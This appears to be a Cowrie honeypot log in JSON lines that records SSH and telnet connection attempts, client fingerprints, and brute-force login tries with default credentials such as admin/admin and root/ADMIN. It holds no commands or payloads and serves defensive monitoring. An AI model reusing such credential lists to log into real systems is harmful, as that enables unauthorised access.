{"eventid":"cowrie.session.connect","src_ip":"134.209.8.29","src_port":51800,"dst_ip":"159.203.135.109","dst_port":23,"session":"3bcf01767ea5","protocol":"telnet","message":"New connection: 134.209.8.29:51800 (159.203.135.109:23) [session: 3bcf01767ea5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:04:53.264804Z"}
{"eventid":"cowrie.session.closed","duration":41.404539585113525,"message":"Connection lost after 41 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:04:56.185756Z","src_ip":"134.209.8.29","session":"fee6041ee3ac","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"165.22.63.98","src_port":49336,"dst_ip":"159.203.135.109","dst_port":22,"session":"83cc606aba07","protocol":"ssh","message":"New connection: 165.22.63.98:49336 (159.203.135.109:22) [session: 83cc606aba07]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:04:58.597284Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:04:58.602201Z","src_ip":"165.22.63.98","session":"83cc606aba07","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:04:58.840489Z","src_ip":"165.22.63.98","session":"83cc606aba07","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"1234567m","message":"login attempt [root/1234567m] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:04:59.814813Z","src_ip":"165.22.63.98","session":"83cc606aba07","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"220.154.131.133","src_port":34992,"dst_ip":"159.203.135.109","dst_port":22,"session":"9ca6733e5c36","protocol":"ssh","message":"New connection: 220.154.131.133:34992 (159.203.135.109:22) [session: 9ca6733e5c36]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:05:01.033518Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:05:01.037856Z","src_ip":"220.154.131.133","session":"9ca6733e5c36","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:05:01.054457Z","src_ip":"165.22.63.98","session":"83cc606aba07","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"97281db8c1a632076e3b739621f899bb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group18-sha512,ext-info-c,kex-strict-c-v00@openssh.com;aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes256-ctr,aes128-gcm@openssh.com,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha1,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group18-sha512","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes256-ctr","aes128-gcm@openssh.com","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha1","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 97281db8c1a632076e3b739621f899bb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:05:01.272107Z","src_ip":"220.154.131.133","session":"9ca6733e5c36","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.6","message":"Connection lost after 0.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:05:01.629741Z","src_ip":"220.154.131.133","session":"9ca6733e5c36","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"134.209.8.29","src_port":41816,"dst_ip":"159.203.135.109","dst_port":23,"session":"cc800929d6c5","protocol":"telnet","message":"New connection: 134.209.8.29:41816 (159.203.135.109:23) [session: cc800929d6c5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:05:01.643450Z"}
{"eventid":"cowrie.session.connect","src_ip":"89.185.81.112","src_port":33416,"dst_ip":"159.203.135.109","dst_port":22,"session":"d00f69552211","protocol":"ssh","message":"New connection: 89.185.81.112:33416 (159.203.135.109:22) [session: d00f69552211]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:05:08.486093Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh2_1.11.1","message":"Remote SSH version: SSH-2.0-libssh2_1.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:05:08.490777Z","src_ip":"89.185.81.112","session":"d00f69552211","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"19532158b559096b89b1a5f7d17175b2","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group16-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,arcfour128,arcfour,3des-cbc;hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com,hmac-sha1,hmac-sha1-etm@openssh.com,hmac-sha1-96,hmac-md5,hmac-md5-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group16-sha512","diffie-hellman-group18-sha512","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-512","rsa-sha2-256","rsa-sha2-512-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","ssh-rsa","ssh-rsa-cert-v01@openssh.com"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc","arcfour128","arcfour","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com","hmac-sha1","hmac-sha1-etm@openssh.com","hmac-sha1-96","hmac-md5","hmac-md5-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 19532158b559096b89b1a5f7d17175b2","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:05:08.583220Z","src_ip":"89.185.81.112","session":"d00f69552211","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"admin","password":"admin","message":"login attempt [admin/admin] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:05:08.772237Z","src_ip":"89.185.81.112","session":"d00f69552211","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.4","message":"Connection lost after 0.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:05:08.868866Z","src_ip":"89.185.81.112","session":"d00f69552211","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"130.12.180.51","src_port":20912,"dst_ip":"159.203.135.109","dst_port":22,"session":"49d7973da3ca","protocol":"ssh","message":"New connection: 130.12.180.51:20912 (159.203.135.109:22) [session: 49d7973da3ca]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:05:08.955186Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:05:08.959900Z","src_ip":"130.12.180.51","session":"49d7973da3ca","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"5f904648ee8964bef0e8834012e26003","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-256,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c"],"keyAlgs":["rsa-sha2-512-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-256","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 5f904648ee8964bef0e8834012e26003","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:05:09.041808Z","src_ip":"130.12.180.51","session":"49d7973da3ca","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"admin","password":"admin","message":"login attempt [admin/admin] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:05:09.289863Z","src_ip":"130.12.180.51","session":"49d7973da3ca","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.9","message":"Connection lost after 0.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:05:09.830366Z","src_ip":"130.12.180.51","session":"49d7973da3ca","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":45.97716498374939,"message":"Connection lost after 45 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:05:14.626972Z","src_ip":"134.209.8.29","session":"8c65a77ef60f","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"148.216.28.11","src_port":49990,"dst_ip":"10.17.0.5","dst_port":22,"session":"68fa78ad322e","protocol":"ssh","message":"New connection: 148.216.28.11:49990 (10.17.0.5:22) [session: 68fa78ad322e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:05:16.528990Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:05:16.534706Z","src_ip":"148.216.28.11","session":"68fa78ad322e","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:05:16.603202Z","src_ip":"148.216.28.11","session":"68fa78ad322e","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"test","password":"a123456","message":"login attempt [test/a123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:05:16.902622Z","src_ip":"148.216.28.11","session":"68fa78ad322e","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:05:17.975884Z","src_ip":"148.216.28.11","session":"68fa78ad322e","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"187.141.71.166","src_port":57918,"dst_ip":"159.203.135.109","dst_port":22,"session":"1d6eb794ab30","protocol":"ssh","message":"New connection: 187.141.71.166:57918 (159.203.135.109:22) [session: 1d6eb794ab30]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:05:25.204966Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:05:25.210159Z","src_ip":"187.141.71.166","session":"1d6eb794ab30","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:05:25.333872Z","src_ip":"187.141.71.166","session":"1d6eb794ab30","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ubuntu","password":"q","message":"login attempt [ubuntu/q] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:05:25.844948Z","src_ip":"187.141.71.166","session":"1d6eb794ab30","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.8","message":"Connection lost after 1.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:05:26.968436Z","src_ip":"187.141.71.166","session":"1d6eb794ab30","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"134.209.8.29","src_port":49252,"dst_ip":"159.203.135.109","dst_port":23,"session":"c7d8ace8f2c1","protocol":"telnet","message":"New connection: 134.209.8.29:49252 (159.203.135.109:23) [session: c7d8ace8f2c1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:05:30.364870Z"}
{"eventid":"cowrie.session.connect","src_ip":"134.209.8.29","src_port":53738,"dst_ip":"159.203.135.109","dst_port":23,"session":"8df8697759a0","protocol":"telnet","message":"New connection: 134.209.8.29:53738 (159.203.135.109:23) [session: 8df8697759a0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:05:35.229255Z"}
{"eventid":"cowrie.session.connect","src_ip":"134.209.8.29","src_port":53734,"dst_ip":"159.203.135.109","dst_port":23,"session":"8e6982a119ab","protocol":"telnet","message":"New connection: 134.209.8.29:53734 (159.203.135.109:23) [session: 8e6982a119ab]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:05:36.237047Z"}
{"eventid":"cowrie.session.connect","src_ip":"134.209.8.29","src_port":53744,"dst_ip":"159.203.135.109","dst_port":23,"session":"396d33f4b575","protocol":"telnet","message":"New connection: 134.209.8.29:53744 (159.203.135.109:23) [session: 396d33f4b575]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:05:42.532662Z"}
{"eventid":"cowrie.session.closed","duration":7.8422040939331055,"message":"Connection lost after 7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:05:44.079144Z","src_ip":"134.209.8.29","session":"8e6982a119ab","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"134.209.8.29","src_port":34988,"dst_ip":"159.203.135.109","dst_port":23,"session":"999df860dc86","protocol":"telnet","message":"New connection: 134.209.8.29:34988 (159.203.135.109:23) [session: 999df860dc86]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:05:46.166069Z"}
{"eventid":"cowrie.session.closed","duration":6.158674955368042,"message":"Connection lost after 6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:05:52.324622Z","src_ip":"134.209.8.29","session":"999df860dc86","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"165.22.63.98","src_port":39014,"dst_ip":"159.203.135.109","dst_port":22,"session":"464c2cdf9869","protocol":"ssh","message":"New connection: 165.22.63.98:39014 (159.203.135.109:22) [session: 464c2cdf9869]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:06:00.857424Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:06:00.862458Z","src_ip":"165.22.63.98","session":"464c2cdf9869","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:06:01.100845Z","src_ip":"165.22.63.98","session":"464c2cdf9869","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":120.00150799751282,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:06:01.958737Z","src_ip":"134.209.8.29","session":"6b608e0498bc","protocol":"telnet"}
{"eventid":"cowrie.login.failed","username":"root","password":"ADMIN","message":"login attempt [root/ADMIN] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:06:02.088921Z","src_ip":"165.22.63.98","session":"464c2cdf9869","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:06:03.355904Z","src_ip":"165.22.63.98","session":"464c2cdf9869","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"148.216.28.11","src_port":32906,"dst_ip":"10.17.0.5","dst_port":22,"session":"494c0899346c","protocol":"ssh","message":"New connection: 148.216.28.11:32906 (10.17.0.5:22) [session: 494c0899346c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:06:04.659900Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:06:04.665115Z","src_ip":"148.216.28.11","session":"494c0899346c","protocol":"ssh"}
